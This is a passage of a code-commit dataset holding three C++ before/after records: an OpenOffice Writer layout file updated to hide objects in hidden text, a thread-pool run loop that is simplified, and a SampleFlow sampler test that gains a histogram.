*pOld, SfxPoolItem *pNew )\n{\n    BOOL bCallPrepare = FALSE;\n    USHORT nWhich = pOld ? pOld->Which() : pNew ? pNew->Which() : 0;\n    if( RES_ATTRSET_CHG == nWhich )\n    {\n        if( SFX_ITEM_SET == ((SwAttrSetChg*)pNew)->GetChgSet()->\n            GetItemState( RES_SURROUND, FALSE ) ||\n            SFX_ITEM_SET == ((SwAttrSetChg*)pNew)->GetChgSet()->\n            GetItemState( RES_FRMMACRO, FALSE ) )\n        {\n            SwAttrSetChg aOld( *(SwAttrSetChg*)pOld );\n            SwAttrSetChg aNew( *(SwAttrSetChg*)pNew );\n\n            aOld.ClearItem( RES_SURROUND );\n            aNew.ClearItem( RES_SURROUND );\n            aOld.ClearItem( RES_FRMMACRO );\n            aNew.ClearItem( RES_FRMMACRO );\n            if( aNew.Count() )\n            {\n                SwFlyFrm::Modify( &aOld, &aNew );\n                bCallPrepare = TRUE;\n            }\n        }\n        else if( ((SwAttrSetChg*)pNew)->GetChgSet()->Count())\n        {\n            SwFlyFrm::Modify( pOld, pNew );\n            bCallPrepare = TRUE;\n        }\n    }\n    else if( nWhich != RES_SURROUND && RES_FRMMACRO != nWhich )\n    {\n        SwFlyFrm::Modify( pOld, pNew );\n        bCallPrepare = TRUE;\n    }\n\n    if ( bCallPrepare && GetAnchor() )\n        GetAnchor()->Prepare( PREP_FLY_ATTR_CHG, GetFmt() );\n}\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::Format()\n|*\n|*  Beschreibung:       Hier wird der Inhalt initial mit Formatiert.\n|*  Ersterstellung      MA 16. Dec. 92\n|*  Letzte Aenderung    MA 19. May. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::Format( const SwBorderAttrs *pAttrs )\n{\n    if ( !Frm().Height() )\n    {\n        Lock(); \/\/nicht hintenherum den Anker formatieren.\n        SwCntntFrm *pCntnt = ContainsCntnt();\n        while ( pCntnt )\n        {   pCntnt->Calc();\n            pCntnt = pCntnt->GetNextCntntFrm();\n        }\n        Unlock();\n    }\n    SwFlyFrm::Format( pAttrs );\n}\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::MakeFlyPos()\n|*\n|*  Beschreibung        Im Unterschied zu anderen Frms wird hier nur die\n|*      die RelPos berechnet. Die absolute Position wird ausschliesslich\n|*      per SetAbsPos errechnet.\n|*  Ersterstellung      MA 03. Dec. 92\n|*  Letzte Aenderung    MA 12. Apr. 96\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::MakeFlyPos()\n{\n    if ( !bValidPos )\n    {\n        if ( !GetAnchor()->IsTxtFrm() || !((SwTxtFrm*)GetAnchor())->IsLocked() )\n            ::DeepCalc( GetAnchor() );\n        if( GetAnchor()->IsTxtFrm() )\n            ((SwTxtFrm*)GetAnchor())->GetFormatted();\n        bValidPos = TRUE;\n        SwFlyFrmFmt *pFmt = (SwFlyFrmFmt*)GetFmt();\n        const SwFmtVertOrient &rVert = pFmt->GetVertOrient();\n        \/\/Und ggf. noch die aktuellen Werte im Format updaten, dabei darf\n        \/\/zu diesem Zeitpunkt natuerlich kein Modify verschickt werden.\n#ifdef VERTICAL_LAYOUT\n        SWRECTFN( GetAnchor() )\n        SwTwips nOld = rVert.GetPos();\n        SwTwips nAct = bVert ? -aRelPos.X() : aRelPos.Y();\n        if( bRev )\n            nAct = -nAct;\n        if( nAct != nOld )\n        {\n            SwFmtVertOrient aVert( rVert );\n            aVert.SetPos( nAct );\n#else\n        if ( rVert.GetPos() != aRelPos.Y() )\n        {\n            SwFmtVertOrient aVert( rVert );\n            aVert.SetPos( aRelPos.Y() );\n#endif\n            pFmt->LockModify();\n            pFmt->SetAttr( aVert );\n            pFmt->UnlockModify();\n        }\n    }\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::NotifyBackground()\n|*\n|*  Ersterstellung      MA 03. Dec. 92\n|*  Letzte Aenderung    MA 26. Aug. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::NotifyBackground( SwPageFrm *, const SwRect& rRect,\n                                       PrepareHint eHint)\n{\n    if ( eHint == PREP_FLY_ATTR_CHG )\n        GetAnchor()->Prepare( PREP_FLY_ATTR_CHG );\n    else\n        GetAnchor()->Prepare( eHint, (void*)&rRect );\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::GetRelPos()\n|*\n|*  Ersterstellung      MA 04. Dec. 92\n|*  Letzte Aenderung    MA 04. Dec. 92\n|*\n|*************************************************************************\/\nconst Point &SwFlyInCntFrm::GetRelPos() const\n{\n    Calc();\n    return GetCurRelPos();\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::RegistFlys()\n|*\n|*  Ersterstellung      MA 26. Nov. 93\n|*  Letzte Aenderung    MA 26. Nov. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::RegistFlys()\n{\n    \/\/ vgl. SwRowFrm::RegistFlys()\n    SwPageFrm *pPage = FindPageFrm();\n    ASSERT( pPage, \"Flys ohne Seite anmelden?\" );\n    ::RegistFlys( pPage, this );\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::MakeAll()\n|*\n|*  Ersterstellung      MA 18. Feb. 94\n|*  Letzte Aenderung    MA 13. Jun. 96\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::MakeAll()\n{\n    if ( !GetAnchor() || IsLocked() || IsColLocked() || !FindPageFrm() )\n        return;\n\n    Lock(); \/\/Der Vorhang faellt\n\n        \/\/uebernimmt im DTor die Benachrichtigung\n    const SwFlyNotify aNotify( this );\n    SwBorderAttrAccess aAccess( SwFrm::GetCache(), this );\n    const SwBorderAttrs &rAttrs = *aAccess.Get();\n    const Size &rSz = rAttrs.GetSize();\n    const SwFmtFrmSize &rFrmSz = GetFmt()->GetFrmSize();\n\n    if ( IsClipped() )\n        bValidSize = bHeightClipped = bWidthClipped = FALSE;\n\n    while ( !bValidPos || !bValidSize || !bValidPrtArea )\n    {\n        \/\/Nur einstellen wenn das Flag gesetzt ist!!\n        if ( !bValidSize )\n        {\n            bValidPrtArea = FALSE;\n            long nOldWidth = aFrm.Width();\n            aFrm.Width( CalcRel( rFrmSz ).Width() );\n\n            if ( aFrm.Width() > nOldWidth )\n                \/\/Damit sich der Inhalt anpasst\n                aFrm.Height( CalcRel( rFrmSz ).Height() );\n        }\n\n        if ( !bValidPrtArea )\n            MakePrtArea( rAttrs );\n\n        if ( !bValidSize )\n            Format( &rAttrs );\n\n        if ( !bValidPos )\n            MakeFlyPos();\n\n        if ( bValidPos && bValidSize )\n        {\n            SwFrm *pFrm = GetAnchor();\n            if (\n\/\/MA 03. Apr. 96 fix(26652), Das trifft uns bestimmt nocheinmal\n\/\/          !pFrm->IsMoveable() &&\n                 Frm().Left() == (pFrm->Frm().Left()+pFrm->Prt().Left()) &&\n                 Frm().Width() > pFrm->Prt().Width() )\n            {\n                Frm().Width( pFrm->Prt().Width() );\n                bValidPrtArea = FALSE;\n                bWidthClipped = TRUE;\n            }\n        }\n    }\n    Unlock();\n}\n\n<commit_msg>INTEGRATION: CWS hiddentext (1.5.308); FILE MERGED 2004\/01\/19 10:09:14 od 1.5.308.1: #110582# - adjustments for hiding objects in hidden paragraphs\/text<commit_after>\/*************************************************************************\n *\n *  $RCSfile: flyincnt.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: kz $ $Date: 2004-02-26 15:30:13 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#include \"cntfrm.hxx\"\n#include \"doc.hxx\"\n#include \"flyfrm.hxx\"\n#include \"frmtool.hxx\"\n#include \"frmfmt.hxx\"\n#include \"hints.hxx\"\n\n#ifndef _FMTORNT_HXX \/\/autogen\n#include <fmtornt.hxx>\n#endif\n#ifndef _FMTFSIZE_HXX \/\/autogen\n#include <fmtfsize.hxx>\n#endif\n#include \"txtfrm.hxx\"       \/\/fuer IsLocked()\n#include \"flyfrms.hxx\"\n\/\/ OD 2004-01-19 #110582#\n#ifndef _DFLYOBJ_HXX\n#include <dflyobj.hxx>\n#endif\n\n\/\/aus FlyCnt.cxx\nvoid DeepCalc( const SwFrm *pFrm );\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::SwFlyInCntFrm(), ~SwFlyInCntFrm()\n|*\n|*  Ersterstellung      MA 01. Dec. 92\n|*  Letzte Aenderung    MA 09. Apr. 99\n|*\n|*************************************************************************\/\nSwFlyInCntFrm::SwFlyInCntFrm( SwFlyFrmFmt *pFmt, SwFrm *pAnch ) :\n    SwFlyFrm( pFmt, pAnch )\n{\n    bInCnt = bInvalidLayout = bInvalidCntnt = TRUE;\n    SwTwips nRel = pFmt->GetVertOrient().GetPos();\n#ifdef VERTICAL_LAYOUT\n    if( pAnch && pAnch->IsVertical() )\n        aRelPos.X() = pAnch->IsReverse() ? nRel : -nRel;\n    else\n#endif\n    aRelPos.Y() = nRel;\n}\n\nSwFlyInCntFrm::~SwFlyInCntFrm()\n{\n    \/\/und Tschuess.\n    if ( !GetFmt()->GetDoc()->IsInDtor() && GetAnchor() )\n    {\n        SwRect aTmp( AddSpacesToFrm() );\n        SwFlyInCntFrm::NotifyBackground( FindPageFrm(), aTmp, PREP_FLY_LEAVE );\n    }\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::SetRefPoint(),\n|*\n|*  Ersterstellung      MA 01. Dec. 92\n|*  Letzte Aenderung    MA 06. Aug. 95\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::SetRefPoint( const Point& rPoint, const Point& rRelAttr,\n    const Point& rRelPos )\n{\n    ASSERT( rPoint != aRef || rRelAttr != aRelPos, \"SetRefPoint: no change\" );\n    SwFlyNotify *pNotify = NULL;\n    \/\/ No notify at a locked fly frame, if a fly frame is locked, there's\n    \/\/ already a SwFlyNotify object on the stack (MakeAll).\n    if( !IsLocked() )\n        pNotify = new SwFlyNotify( this );\n    aRef = rPoint;\n    aRelPos = rRelAttr;\n#ifdef VERTICAL_LAYOUT\n    SWRECTFN( GetAnchor() )\n    (Frm().*fnRect->fnSetPos)( rPoint + rRelPos );\n#else\n    Frm().Pos( rPoint + rRelPos );\n#endif\n\/*\n    \/\/Kein InvalidatePos hier, denn das wuerde dem Cntnt ein Prepare\n    \/\/senden - dieser hat uns aber gerade gerufen.\n    \/\/Da der Frm aber durchaus sein Position wechseln kann, muss hier\n    \/\/der von ihm abdeckte Window-Bereich invalidiert werden damit keine\n    \/\/Reste stehenbleiben.\n    \/\/Fix: Nicht fuer PreView-Shells, dort ist es nicht notwendig und\n    \/\/fuehrt zu fiesen Problemen (Der Absatz wird nur formatiert weil\n    \/\/er gepaintet wird und der Cache uebergelaufen ist, beim Paint durch\n    \/\/das Invalidate wird der Absatz formatiert weil...)\n    if ( Frm().HasArea() && GetShell()->ISA(SwCrsrShell) )\n        GetShell()->InvalidateWindows( Frm() );\n*\/\n    if( pNotify )\n    {\n        InvalidatePage();\n        bValidPos = FALSE;\n        bInvalid  = TRUE;\n        Calc();\n        delete pNotify;\n    }\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::Modify()\n|*\n|*  Ersterstellung      MA 16. Dec. 92\n|*  Letzte Aenderung    MA 02. Sep. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::Modify( SfxPoolItem *pOld, SfxPoolItem *pNew )\n{\n    BOOL bCallPrepare = FALSE;\n    USHORT nWhich = pOld ? pOld->Which() : pNew ? pNew->Which() : 0;\n    if( RES_ATTRSET_CHG == nWhich )\n    {\n        if( SFX_ITEM_SET == ((SwAttrSetChg*)pNew)->GetChgSet()->\n            GetItemState( RES_SURROUND, FALSE ) ||\n            SFX_ITEM_SET == ((SwAttrSetChg*)pNew)->GetChgSet()->\n            GetItemState( RES_FRMMACRO, FALSE ) )\n        {\n            SwAttrSetChg aOld( *(SwAttrSetChg*)pOld );\n            SwAttrSetChg aNew( *(SwAttrSetChg*)pNew );\n\n            aOld.ClearItem( RES_SURROUND );\n            aNew.ClearItem( RES_SURROUND );\n            aOld.ClearItem( RES_FRMMACRO );\n            aNew.ClearItem( RES_FRMMACRO );\n            if( aNew.Count() )\n            {\n                SwFlyFrm::Modify( &aOld, &aNew );\n                bCallPrepare = TRUE;\n            }\n        }\n        else if( ((SwAttrSetChg*)pNew)->GetChgSet()->Count())\n        {\n            SwFlyFrm::Modify( pOld, pNew );\n            bCallPrepare = TRUE;\n        }\n    }\n    else if( nWhich != RES_SURROUND && RES_FRMMACRO != nWhich )\n    {\n        SwFlyFrm::Modify( pOld, pNew );\n        bCallPrepare = TRUE;\n    }\n\n    if ( bCallPrepare && GetAnchor() )\n        GetAnchor()->Prepare( PREP_FLY_ATTR_CHG, GetFmt() );\n}\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::Format()\n|*\n|*  Beschreibung:       Hier wird der Inhalt initial mit Formatiert.\n|*  Ersterstellung      MA 16. Dec. 92\n|*  Letzte Aenderung    MA 19. May. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::Format( const SwBorderAttrs *pAttrs )\n{\n    if ( !Frm().Height() )\n    {\n        Lock(); \/\/nicht hintenherum den Anker formatieren.\n        SwCntntFrm *pCntnt = ContainsCntnt();\n        while ( pCntnt )\n        {   pCntnt->Calc();\n            pCntnt = pCntnt->GetNextCntntFrm();\n        }\n        Unlock();\n    }\n    SwFlyFrm::Format( pAttrs );\n}\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::MakeFlyPos()\n|*\n|*  Beschreibung        Im Unterschied zu anderen Frms wird hier nur die\n|*      die RelPos berechnet. Die absolute Position wird ausschliesslich\n|*      per SetAbsPos errechnet.\n|*  Ersterstellung      MA 03. Dec. 92\n|*  Letzte Aenderung    MA 12. Apr. 96\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::MakeFlyPos()\n{\n    if ( !bValidPos )\n    {\n        if ( !GetAnchor()->IsTxtFrm() || !((SwTxtFrm*)GetAnchor())->IsLocked() )\n            ::DeepCalc( GetAnchor() );\n        if( GetAnchor()->IsTxtFrm() )\n            ((SwTxtFrm*)GetAnchor())->GetFormatted();\n        bValidPos = TRUE;\n        SwFlyFrmFmt *pFmt = (SwFlyFrmFmt*)GetFmt();\n        const SwFmtVertOrient &rVert = pFmt->GetVertOrient();\n        \/\/Und ggf. noch die aktuellen Werte im Format updaten, dabei darf\n        \/\/zu diesem Zeitpunkt natuerlich kein Modify verschickt werden.\n#ifdef VERTICAL_LAYOUT\n        SWRECTFN( GetAnchor() )\n        SwTwips nOld = rVert.GetPos();\n        SwTwips nAct = bVert ? -aRelPos.X() : aRelPos.Y();\n        if( bRev )\n            nAct = -nAct;\n        if( nAct != nOld )\n        {\n            SwFmtVertOrient aVert( rVert );\n            aVert.SetPos( nAct );\n#else\n        if ( rVert.GetPos() != aRelPos.Y() )\n        {\n            SwFmtVertOrient aVert( rVert );\n            aVert.SetPos( aRelPos.Y() );\n#endif\n            pFmt->LockModify();\n            pFmt->SetAttr( aVert );\n            pFmt->UnlockModify();\n        }\n    }\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::NotifyBackground()\n|*\n|*  Ersterstellung      MA 03. Dec. 92\n|*  Letzte Aenderung    MA 26. Aug. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::NotifyBackground( SwPageFrm *, const SwRect& rRect,\n                                       PrepareHint eHint)\n{\n    if ( eHint == PREP_FLY_ATTR_CHG )\n        GetAnchor()->Prepare( PREP_FLY_ATTR_CHG );\n    else\n        GetAnchor()->Prepare( eHint, (void*)&rRect );\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::GetRelPos()\n|*\n|*  Ersterstellung      MA 04. Dec. 92\n|*  Letzte Aenderung    MA 04. Dec. 92\n|*\n|*************************************************************************\/\nconst Point &SwFlyInCntFrm::GetRelPos() const\n{\n    Calc();\n    return GetCurRelPos();\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::RegistFlys()\n|*\n|*  Ersterstellung      MA 26. Nov. 93\n|*  Letzte Aenderung    MA 26. Nov. 93\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::RegistFlys()\n{\n    \/\/ vgl. SwRowFrm::RegistFlys()\n    SwPageFrm *pPage = FindPageFrm();\n    ASSERT( pPage, \"Flys ohne Seite anmelden?\" );\n    ::RegistFlys( pPage, this );\n}\n\n\/*************************************************************************\n|*\n|*  SwFlyInCntFrm::MakeAll()\n|*\n|*  Ersterstellung      MA 18. Feb. 94\n|*  Letzte Aenderung    MA 13. Jun. 96\n|*\n|*************************************************************************\/\nvoid SwFlyInCntFrm::MakeAll()\n{\n    \/\/ OD 2004-01-19 #110582#\n    if ( !GetFmt()->GetDoc()->IsVisibleLayerId( GetVirtDrawObj()->GetLayer() ) )\n    {\n        return;\n    }\n\n    if ( !GetAnchor() || IsLocked() || IsColLocked() || !FindPageFrm() )\n        return;\n\n    Lock(); \/\/Der Vorhang faellt\n\n        \/\/uebernimmt im DTor die Benachrichtigung\n    const SwFlyNotify aNotify( this );\n    SwBorderAttrAccess aAccess( SwFrm::GetCache(), this );\n    const SwBorderAttrs &rAttrs = *aAccess.Get();\n    const Size &rSz = rAttrs.GetSize();\n    const SwFmtFrmSize &rFrmSz = GetFmt()->GetFrmSize();\n\n    if ( IsClipped() )\n        bValidSize = bHeightClipped = bWidthClipped = FALSE;\n\n    while ( !bValidPos || !bValidSize || !bValidPrtArea )\n    {\n        \/\/Nur einstellen wenn das Flag gesetzt ist!!\n        if ( !bValidSize )\n        {\n            bValidPrtArea = FALSE;\n            long nOldWidth = aFrm.Width();\n            aFrm.Width( CalcRel( rFrmSz ).Width() );\n\n            if ( aFrm.Width() > nOldWidth )\n                \/\/Damit sich der Inhalt anpasst\n                aFrm.Height( CalcRel( rFrmSz ).Height() );\n        }\n\n        if ( !bValidPrtArea )\n            MakePrtArea( rAttrs );\n\n        if ( !bValidSize )\n            Format( &rAttrs );\n\n        if ( !bValidPos )\n            MakeFlyPos();\n\n        if ( bValidPos && bValidSize )\n        {\n            SwFrm *pFrm = GetAnchor();\n            if (\n\/\/MA 03. Apr. 96 fix(26652), Das trifft uns bestimmt nocheinmal\n\/\/          !pFrm->IsMoveable() &&\n                 Frm().Left() == (pFrm->Frm().Left()+pFrm->Prt().Left()) &&\n                 Frm().Width() > pFrm->Prt().Width() )\n            {\n                Frm().Width( pFrm->Prt().Width() );\n                bValidPrtArea = FALSE;\n                bWidthClipped = TRUE;\n            }\n        }\n    }\n    Unlock();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <functional>\n\n#include \"threading.h\"\n\nusing namespace std;\n\nnamespace base {\n\nstruct start_thread_pool_args {\n    ThreadPool* thrpool;\n    int id_in_pool;\n};\n\nvoid* ThreadPool::start_thread_pool(void* args) {\n    start_thread_pool_args* t_args = (start_thread_pool_args *) args;\n    t_args->thrpool->run_thread(t_args->id_in_pool);\n    delete t_args;\n    pthread_exit(NULL);\n    return NULL;\n}\n\nThreadPool::ThreadPool(int n \/* =... *\/): n_(n), should_stop_(false) {\n    th_ = new pthread_t[n_];\n    q_ = new Queue<function<void()>*> [n_];\n\n    for (int i = 0; i < n_; i++) {\n        start_thread_pool_args* args = new start_thread_pool_args();\n        args->thrpool = this;\n        args->id_in_pool = i;\n        Pthread_create(&th_[i], NULL, ThreadPool::start_thread_pool, args);\n    }\n}\n\nThreadPool::~ThreadPool() {\n    should_stop_ = true;\n    for (int i = 0; i < n_; i++) {\n        q_[i].push(nullptr);  \/\/ death pill\n    }\n    for (int i = 0; i < n_; i++) {\n        Pthread_join(th_[i], nullptr);\n    }\n    \/\/ check if there's left over jobs\n    for (int i = 0; i < n_; i++) {\n        function<void()>* job;\n        while (q_[i].try_pop(&job)) {\n            if (job != nullptr) {\n                (*job)();\n            }\n        }\n    }\n    delete[] th_;\n    delete[] q_;\n}\n\nint ThreadPool::run_async(const std::function<void()>& f) {\n    if (should_stop_) {\n        return EPERM;\n    }\n    \/\/ Randomly select a thread for the job.\n    int queue_id = rand_engine_() % n_;\n    q_[queue_id].push(new function<void()>(f));\n    return 0;\n}\n\nvoid ThreadPool::run_thread(int id_in_pool) {\n    struct timespec sleep_req;\n    const int min_sleep_nsec = 1000;  \/\/ 1us\n    const int max_sleep_nsec = 10 * 1000 * 1000;  \/\/ 10ms\n    sleep_req.tv_nsec = 200 * 1000;  \/\/ 200us\n    sleep_req.tv_sec = 0;\n    int stage = 0;\n\n    \/\/ randomized stealing order\n    int* steal_order = new int[n_];\n    for (int i = 0; i < n_; i++) {\n        steal_order[i] = i;\n    }\n    Rand r;\n    for (int i = 0; i < n_ - 1; i++) {\n        int j = r.next(i, n_);\n        if (j != i) {\n            int t = steal_order[j];\n            steal_order[j] = steal_order[i];\n            steal_order[i] = t;\n        }\n    }\n\n    \/\/ fallback stages: try_pop -> sleep -> try_pop -> steal -> pop\n    \/\/ succeed: sleep - 1\n    \/\/ failure: sleep + 10\n    for (;;) {\n        function<void()>* job = nullptr;\n\n        switch(stage) {\n        case 0:\n        case 2:\n            if (q_[id_in_pool].try_pop(&job)) {\n                stage = 0;\n            } else {\n                stage++;\n            }\n            break;\n        case 1:\n            nanosleep(&sleep_req, NULL);\n            stage++;\n            break;\n        case 3:\n            for (int i = 0; i < n_; i++) {\n                if (steal_order[i] != id_in_pool) {\n                    \/\/ just don't steal other thread's death pill, otherwise they won't die\n                    if (q_[steal_order[i]].try_pop_but_ignore(&job, nullptr)) {\n                        stage = 0;\n                        break;\n                    }\n                }\n            }\n            if (stage != 0) {\n                stage++;\n            }\n            break;\n        case 4:\n            job = q_[id_in_pool].pop();\n            stage = 0;\n            break;\n        }\n\n        if (stage == 0) {\n            if (job == nullptr) {\n                break;\n            }\n            (*job)();\n            delete job;\n            sleep_req.tv_nsec = clamp(sleep_req.tv_nsec - 1000, min_sleep_nsec, max_sleep_nsec);\n        } else {\n            sleep_req.tv_nsec = clamp(sleep_req.tv_nsec + 10 * 1000, min_sleep_nsec, max_sleep_nsec);\n        }\n    }\n    delete[] steal_order;\n}\n\n} \/\/ namespace base\n<commit_msg>change threadpool policy<commit_after>#include <functional>\n\n#include \"threading.h\"\n\nusing namespace std;\n\nnamespace base {\n\nstruct start_thread_pool_args {\n    ThreadPool* thrpool;\n    int id_in_pool;\n};\n\nvoid* ThreadPool::start_thread_pool(void* args) {\n    start_thread_pool_args* t_args = (start_thread_pool_args *) args;\n    t_args->thrpool->run_thread(t_args->id_in_pool);\n    delete t_args;\n    pthread_exit(NULL);\n    return NULL;\n}\n\nThreadPool::ThreadPool(int n \/* =... *\/): n_(n), should_stop_(false) {\n    th_ = new pthread_t[n_];\n    q_ = new Queue<function<void()>*> [n_];\n\n    for (int i = 0; i < n_; i++) {\n        start_thread_pool_args* args = new start_thread_pool_args();\n        args->thrpool = this;\n        args->id_in_pool = i;\n        Pthread_create(&th_[i], NULL, ThreadPool::start_thread_pool, args);\n    }\n}\n\nThreadPool::~ThreadPool() {\n    should_stop_ = true;\n    for (int i = 0; i < n_; i++) {\n        q_[i].push(nullptr);  \/\/ death pill\n    }\n    for (int i = 0; i < n_; i++) {\n        Pthread_join(th_[i], nullptr);\n    }\n    \/\/ check if there's left over jobs\n    for (int i = 0; i < n_; i++) {\n        function<void()>* job;\n        while (q_[i].try_pop(&job)) {\n            if (job != nullptr) {\n                (*job)();\n            }\n        }\n    }\n    delete[] th_;\n    delete[] q_;\n}\n\nint ThreadPool::run_async(const std::function<void()>& f) {\n    if (should_stop_) {\n        return EPERM;\n    }\n    \/\/ Randomly select a thread for the job.\n    int queue_id = rand_engine_() % n_;\n    q_[queue_id].push(new function<void()>(f));\n    return 0;\n}\n\nvoid ThreadPool::run_thread(int id_in_pool) {\n    \/\/ randomized stealing order\n    int* steal_order = new int[n_];\n    for (int i = 0; i < n_; i++) {\n        steal_order[i] = i;\n    }\n    Rand r;\n    for (int i = 0; i < n_ - 1; i++) {\n        int j = r.next(i, n_);\n        if (j != i) {\n            int t = steal_order[j];\n            steal_order[j] = steal_order[i];\n            steal_order[i] = t;\n        }\n    }\n\n    for (;;) {\n        \/\/ fallback stages: try_pop -> steal -> pop\n        function<void()>* job = nullptr;\n        bool got_job = q_[id_in_pool].try_pop(&job);\n        if (!got_job) {\n            for (int i = 0; i < n_; i++) {\n                if (steal_order[i] != id_in_pool) {\n                    \/\/ just don't steal other thread's death pill, otherwise they won't die\n                    if (q_[steal_order[i]].try_pop_but_ignore(&job, nullptr)) {\n                        got_job = true;\n                        break;\n                    }\n                }\n            }\n        }\n        if (!got_job) {\n            job = q_[id_in_pool].pop();\n        }\n        if (job == nullptr) {\n            break;\n        }\n        (*job)();\n        delete job;\n    }\n    delete[] steal_order;\n}\n\n} \/\/ namespace base\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n\n#include <sampleflow\/producers\/metropolis_hastings.h>\n#include <sampleflow\/filters\/take_every_nth.h>\n#include <sampleflow\/consumers\/mean_value.h>\n\n\n\ndouble log_likelihood (const double &x)\n{\n  return -(x-1)*(x-1);\n}\n\n\ndouble perturb (const double &x)\n{\n  static std::mt19937 rng;\n  static std::uniform_real_distribution<> uniform_distribution(-0.1,0.1);\n  return x + uniform_distribution(rng);\n}\n\n\n\nint main ()\n{\n  SampleFlow::Producers::MetropolisHastings<double> mh_sampler;\n\n  SampleFlow::Filters::TakeEveryNth<double> take_every_nth (1);\n  take_every_nth.connect_to_producer (mh_sampler);\n\n  SampleFlow::Consumers::MeanValue<double> mean_value;\n  mean_value.connect_to_producer (take_every_nth);\n\n  mh_sampler.sample (0,\n                     &log_likelihood,\n                     &perturb,\n                     100000);\n\n  std::cout << \"Computed mean value: \"\n  << mean_value.get() << std::endl;\n}\n<commit_msg>Update testcase.<commit_after>#include <iostream>\n#include <fstream>\n\n#include <sampleflow\/producers\/metropolis_hastings.h>\n#include <sampleflow\/filters\/take_every_nth.h>\n#include <sampleflow\/consumers\/mean_value.h>\n#include <sampleflow\/consumers\/histogram.h>\n\n\n\ndouble log_likelihood (const double &x)\n{\n  return -(x-1)*(x-1);\n}\n\n\ndouble perturb (const double &x)\n{\n  static std::mt19937 rng;\n  static std::uniform_real_distribution<> uniform_distribution(-0.1,0.1);\n  return x + uniform_distribution(rng);\n}\n\n\n\nint main ()\n{\n  SampleFlow::Producers::MetropolisHastings<double> mh_sampler;\n\n  SampleFlow::Filters::TakeEveryNth<double> take_every_nth (1);\n  take_every_nth.connect_to_producer (mh_sampler);\n\n  SampleFlow::Consumers::MeanValue<double> mean_value;\n  mean_value.connect_to_producer (take_every_nth);\n\n  SampleFlow::Consumers::Histogram<double> histogram (0.1, 5, 100,\n      SampleFlow::Consumers::Histogram<double>::SubdivisionScheme::logarithmic);\n  histogram.connect_to_producer (take_every_nth);\n\n  mh_sampler.sample (0,\n                     &log_likelihood,\n                     &perturb,\n                     1000000);\n\n  std::cout << \"Computed mean value: \"\n  << mean_value.get() << std::endl;\n\n  histogram.write_gnuplot (std::ofstream(\"hist.txt\"));\n}\n<|endoftext|>"}
